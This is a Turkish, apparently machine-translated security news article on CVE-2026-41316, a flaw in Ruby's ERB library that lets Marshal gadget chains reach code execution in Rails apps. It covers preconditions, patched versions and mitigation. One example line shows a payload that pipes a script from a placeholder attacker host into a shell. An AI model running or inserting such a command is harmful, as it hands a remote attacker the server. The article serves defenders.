Ruby Standard Library ERB'deki Kritik Güvenlik Açığı: Saldırganlar kod çalıştırabilir

kapanış bildirimi

Bu makale İngilizce olarak da mevcuttur. Teknik yardımla tercüme edildi ve yayınlanmadan önce editoryal olarak gözden geçirildi.

Duyurudan sonra devamını okuyun

CVE-2026-41316 (CERT-Bund: WID-SEC-2026-1187) ile kayıtlı Ruby ERB standart şablon kütüphanesindeki güvenlik açığı, kötü niyetli seri durumdan çıkarmaya karşı yerleşik korumayı zayıflatır. Güvenli olmayan kaynaklardan gelen Marshal serileştirme verilerini işleyen Rails uygulamaları özellikle etkilendi. Olası sonuç: Uzaktan kod yürütme.

Ruby ekibi güvenlik açığını 21 Nisan 2026'da yayınladı ve aynı zamanda bir düzeltme de yayınladı. Kusur, kötü niyetli seri durumdan çıkarmaya karşı ERB'de yerleşik bir koruma mekanizmasını atlıyor. Saldırganlar, gadget zinciri adı verilen bir yöntemle sunucudaki Uzaktan Kod Yürütme (RCE) güvenlik açığından yararlanabilir. Güvenlik açığı TristanInSec tarafından keşfedildi ve bildirildi.

GitHub, güvenlik açığına CVSS 3.1 puanı olarak 8,1 (yüksek) veriyor ve CERT-Bund bunu kritik olarak sınıflandırıyor. Fark, ilgili değerlendirme mantığını yansıtır: Güvenlik açığı uygulama tarafında ek gereksinimler gerektirdiğinden CVSS, karmaşık yararlanma karmaşıklığını (AC:H metriği) hesaba katar. CERT-Bund, başarılı olması durumunda hasar potansiyeline, yani olası RCE etkisine daha fazla odaklanır.

Teknik açıklamaya ek olarak GitHub Güvenlik Danışmanlığı, yalnızca birkaç satırlık Ruby koduyla istismarı gösteren, çalışan bir kavram kanıtı içerir.

Tüm sürümleri savunmasızdır erb– 6.0.3 sürümüne kadar olan değerli taşlar. Bu, hemen hemen her mevcut Rails kurulumunun güvenlik açığı bulunan bir ERB sürümüyle birlikte gönderildiği anlamına gelir. Ancak bir uygulama yalnızca aşağıdaki koşulların her ikisinin de doğru olması durumunda gerçekten savunmasızdır:

  • Uygulama bir noktada çağırır Marshal.load Saldırganın kontrol sahibi olduğu veriler.
  • ERB'ye ek olarak ActiveSupport da her Rails uygulamasında otomatik olarak yapıldığı gibi çalışma zamanında yüklenir.

Duyurudan sonra devamını okuyun

Tipik yerler Marshal.load aslında Ruby veya Rails uygulamasında kullanılıyor Rails.cache varsayılan Marshal serileştiriciyle, Rails'in eski sürümlerinden Marshal döküm uç noktalarını ve Marshal tarafından kodlanmış oturum çerezlerini içe aktarın. Sidekiq ve Resque iş kuyrukları JSON aracılığıyla serileştirilir ve burada göze çarpmaz. Ancak somut bir risk ancak bu noktalarda, saldırgan tarafından gerçekten kontrol edilebilecek veriler gelebildiğinde ortaya çıkar; örneğin serbestçe erişilebilen bir önbellek, sızdırılmış bir önbellek gibi. secret_key_base veya güvenli olmayan bir içe aktarma uç noktası.

Başarılı bir saldırı, saldırgana Ruby süreci bağlamında tam kod yürütme olanağı sağlar. Tipik senaryolar, hassas verilerin okunmasından arka kapıların yerleştirilmesine, uygulama kontrolünün tamamlanmasına ve dahili ağdaki yanal harekete kadar uzanır.

Eğer sıralamayı aktif olarak kullanmıyorsanız, 1. noktaya sadık kalabilirsiniz: cevheri güncelleyin, tamam. 2. Nokta, Marshal'ı bilerek kullanan veya bir bağımlılıktan şüphelenen geliştiricilere yöneliktir.

  1. Mücevheri yükselt: bundle update erb. Yamalı sürümler 4.0.3.1, 4.0.4.1, 6.0.1.1 ve 6.0.4'tür. Güncelleme, hangi Ruby sürümünü kullanırsanız kullanın aradaki açığı kapatır.
  2. Polislerin pozisyonlarını kontrol edin: Tüm görüntülemeler Marshal.load kodunuzla ve bağımlılıklarınızla tanımlayın. Okunan veriler güvenilmez bir kaynaktan geliyorsa, bu yolun, örneğin katı kaynak doğrulama yoluyla veya tam olarak bu arayüzde güvenli bir formata geçiş yoluyla kesilmesi gerekir.

ERB, “Gömülü Ruby” anlamına gelir ve Ruby'nin standart şablon oluşturma motorudur. Kütüphane, HTML'deki PHP'ye benzer şekilde Ruby kodunu doğrudan metin dosyalarına yerleştirmenize olanak tanır. Ruby, modül yer tutucularının yerini alıyor <%= nutzer.name %> gerçek değerlere göre oluşturulurken <% ... %> Ruby kodunu çıktı almadan çalıştırır. Ruby on Rails, HTML görünümlerini ve aynı zamanda YAML yapılandırmalarını oluşturmak için ERB'yi kullanır. Oluşturulan e-postalar veya komut dosyaları birçok Ruby projesinde ERB'yi temel alır.

Modeller kod çalıştırdığından, ERB her zaman güvenlik açısından kritik bir kod alanı olarak kabul edilmiştir: model kaynağını kim kontrol ediyorsa sunucuyu da kontrol eder.

Marshal, Ruby'nin nesne serileştirmesi için yerleşik ikili formatıdır. Bir Ruby nesnesinin sürecinden ayrılması gereken her yerde ona ihtiyacınız vardır: bir önbelleğe veya dosyaya yazılması, iş kuyruğundaki başka bir çalışana iletilmesi veya işlemin yeniden başlatılması sırasında saklanması. Bellekte bir nesne, sürecin dışında var olmayan, başvurulan bir veri yapısıdır; Bir bayt dizisi olarak, diğer tarafın orijinal nesneye geri dönüştürebileceği taşınabilir bir blob haline gelir. Marshal.dump(obj) bu bayt dizisini oluşturun, Marshal.load(bytes) nesneyi bundan yeniden birleştirin. Konsept karşılık gelir pickle Python'da, serialize/unserialize PHP'de veya ObjectInputStream Java'da.

Ruby ve Rails projelerinde, Marshal çoğunlukla arka planda görünür: varsayılan Rails önbellek serileştiricisi olarak (Rails.cache), arka plan çalışma kuyruklarında, Rails'in eski sürümlerindeki oturum çerezlerinde veya işlemler arası iletişimde. Yeniden oluşturma sırasında Marshal herhangi bir sınıfı başlatabilir ve geri aramalarını tetikleyebilir. Bu nedenle yıllardır geçerli olan temel kural şudur: Marshal.load güvenilmez kaynaklardan elde edilen verilere asla uygulanmaz.

Uzaktan kod yürütmek için bu tam yeniden yapılandırmayı kötüye kullanan saldırı sınıfına gadget zinciri adı verilir. Bu tür gadget zincirleri Ruby ekosisteminde yaklaşık on yıldır belgelenmiştir; GitHub Advisory'ye göre CVE-2026-41316, çalışan Marshal cihazlarının altıncı nesli olarak kabul ediliyor.

ERB'nin aslında engellemek istediği şey tam olarak bu saldırı yoluydu. Yapıcı, nesnede çağrılan dahili bir bayrağı saklar @_initbu da ERB sınıfının Singleton sınıfı olarak adlandırılan çok özel bir Marker nesnesine işaret ediyor. Bir modeli değerlendirmeden önce ERB, @_init tam olarak bu işaretleyici nesneye işaret eder. Doğruysa değerlendirme sürüyor. Eğer bu doğru değilse, “başlatılmamış” mesajıyla bir istisna atılacaktır.

Sorun, Marshal'ın bu işaretleyici nesneyi hiçbir şekilde seri hale getirememesidir. Marshal, sınıf referanslarını kaydederken sabit adlarına göre tanımlar ve yüklerken bu adı kullanarak bunları tekrar arar. Singleton sınıfları anonimdir, adı yoktur ve yalnızca çalışma zamanında mevcuttur. Yeni bir ERB nesnesini boşaltma girişimi de açıkça başarısız oluyor TypeError: singleton can't be dumped. Bir saldırgan için bu, kontrolün beklenen değerini kendi oluşturduğu bir marshal blob'da depolayamayacağı anlamına gelir. Yeniden oluşturulan nesnesi karşılaştırmada başarısız olur ve bir model değerlendirmesini tetikleyemez. Buraya kadar her şey iyi düşünülmüş.

Sorun: Üç yöntemi inceleyin @_init Olumsuz. def_method, def_module VE def_class Model kaynağına doğrudan erişin ve korumaya danışmadan onu çalıştırın. Özellikle def_module patlayıcıdır çünkü tartışma olmadan geri çağrılabilir ve bu nedenle bir alet zincirinin son halkası olmaya uygundur. Aslında zarif bir şekilde inşa edilmiş koruma fikri, unutulmuş üç yerde tamamen atlatılmıştır.

Bu güvenlik açığı tek başına uygulamayı savunmasız hale getirmez. Yalnızca başka bir yerde bir şeyler ters gittiğinde kullanılabilir hale gelir. Önkoşul her zaman uygulamanın bir yerde olmasıdır Marshal.load saldırgan tarafından kontrol edilen baytlar için geçerlidir. Bu yalnızca normal bir web formu kullanılarak etkinleştirilemez çünkü Rails form girişlerini Marshal kullanarak ayrıştırmaz. Saldırganın ayrıca aşağıdaki kapı açıcılardan birine ihtiyacı vardır.

Rails'de bir RCE mareşali için tarihsel olarak en yaygın yol: secret_key_base Uygulamanın güvenliği, örneğin yanlışlıkla halka açık bir Git deposu, korumasız bir yedekleme dökümü veya ortam değişkenleri içeren bir hata sayfası nedeniyle zaten tehlikeye girmiştir. Bu anahtara sahip olan herkes geçerli oturum çerezlerini kendi kendine imzalayabilir.

Önceki bir Rails kurulumu ayrıca Marshal serileştirmesi ile çerez tabanlı oturumları da yapılandırdıysa, saldırgan, seri durumdan çıkarma sırasında bir gadget zincirini tetikleyen ve en sonunda da hazırlanmış bir çerez oluşturur. def_module bir ERB nesnesinde. Kaynak şablonu örneğin saldırganın Ruby kodunu içerir system("curl angreifer.tld/shell.sh | sh"). Sonuç: Dahili sistemlere erişim olmadan normal bir HTTP isteği aracılığıyla uzaktan kod yürütme.

Bu yol esas olarak eski kurulumları etkiler. Varsayılan olarak Rails, sürüm 4.1'den (2014) itibaren yeni oluşturulan uygulamalara yönelik oturum çerezleri için Marshal yerine JSON'u kullanır; Bu değişiklik, sürüm 4.1'den önce oluşturulan uygulamaların açıkça taşınmasını gerektiriyordu. Kim bunu açıkça yapmaz? :marshal engellendi, burada saldırıya geçilemez.

Biri sızdırıldı secret_key_base zaten başlı başına kritik bir güvenlik olayıdır. Bu CVE olmadan bile, sahte oturumlara ve hassas çerez içeriğinin şifresinin çözülmesine olanak tanır. Bu senaryoda, hasarın nedeni ERB boşluğu değil, gizli sızıntıyı doğrudan sunucunun ele geçirilmesine dönüştüren amplifikatördür.

Bazı uygulamalar, örneğin yapılandırmaları içe aktarmak veya durumları geri yüklemek için Marshal dökümlerini dosya yükleme olarak kabul eder. Bu tür bir yükleme doğrulama olmadan sona ererse Marshal.loadsaldırgan yükünü doğrudan teslim eder.

Bununla birlikte, bu CVE'den bağımsız olarak, böyle bir uç nokta temelde zayıf bir tasarım kararıdır. Ruby belgeleri yıllardır buna karşı açıkça uyarıda bulunuyordu. Marshal.load güvenilmez kaynaklardan gelen verilere uygulanır. Her gerçek dünyadaki Rails uygulamasında çok sayıda Marshal gadget zinciri vardır ve CVE-2026-41316 bunlardan yalnızca biridir. Sıralı yüklemeyi kabul eden herkes, bu güvenlik açığından önce zaten RCE'ye karşı savunmasızdı ve uç nokta var olduğu sürece bu şekilde kalacaktır. Bir ERB güncellemesi, sınıfı değil tek bir gadget'ı kapatır. Tek temiz cevap yama yapmak değil, sıralı yolu kaldırmak ve JSON gibi şema doğrulaması olan bir formata geçmek.

Marshal'ı kullanarak Redis'e, Memcached'e veya bir iş kuyruğuna yazma erişimi kazanan herkes, aracılığıyla okunacak hazırlanmış blob'ları depolayabilir. Marshal.load RCE'ye (önbellek zehirlenmesi) yol açar. Ancak yazma erişimi, önbellek sunucusunun ağ üzerinde açık bir şekilde erişilebilir olmasını, güvenliği ihlal edilmiş başka bir hizmetle paylaşılmasını veya başka bir şekilde zaten erişilebilir olmasını gerektirir. Uygulamada bu, giriş seviyesi bir senaryodan çok, kullanım sonrası bir senaryodur.

Temiz temel hijyen uygulayan (sırları sızdırmayın, yoğun yükleri kabul etmeyin, önbellekleri ve kuyrukları koruyun) herkesin yalnızca bu CVE aracılığıyla kullanılabilecek bir ağ geçidi yoktur. Hata, bağımsız uzaktan erişim değil, mevcut yanlış yapılandırmalar ve sızdırılan sırlar için bir amplifikatördür. Yine de mümkün olan en kısa sürede düzeltmeniz gerekiyor çünkü hata, akla gelebilecek hemen hemen her öncül tarafından verilen hasarı artırıyor.


(DSÖ)


Yayımlandı

kategorisi

yazarı:

Etiketler:

Yorumlar

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir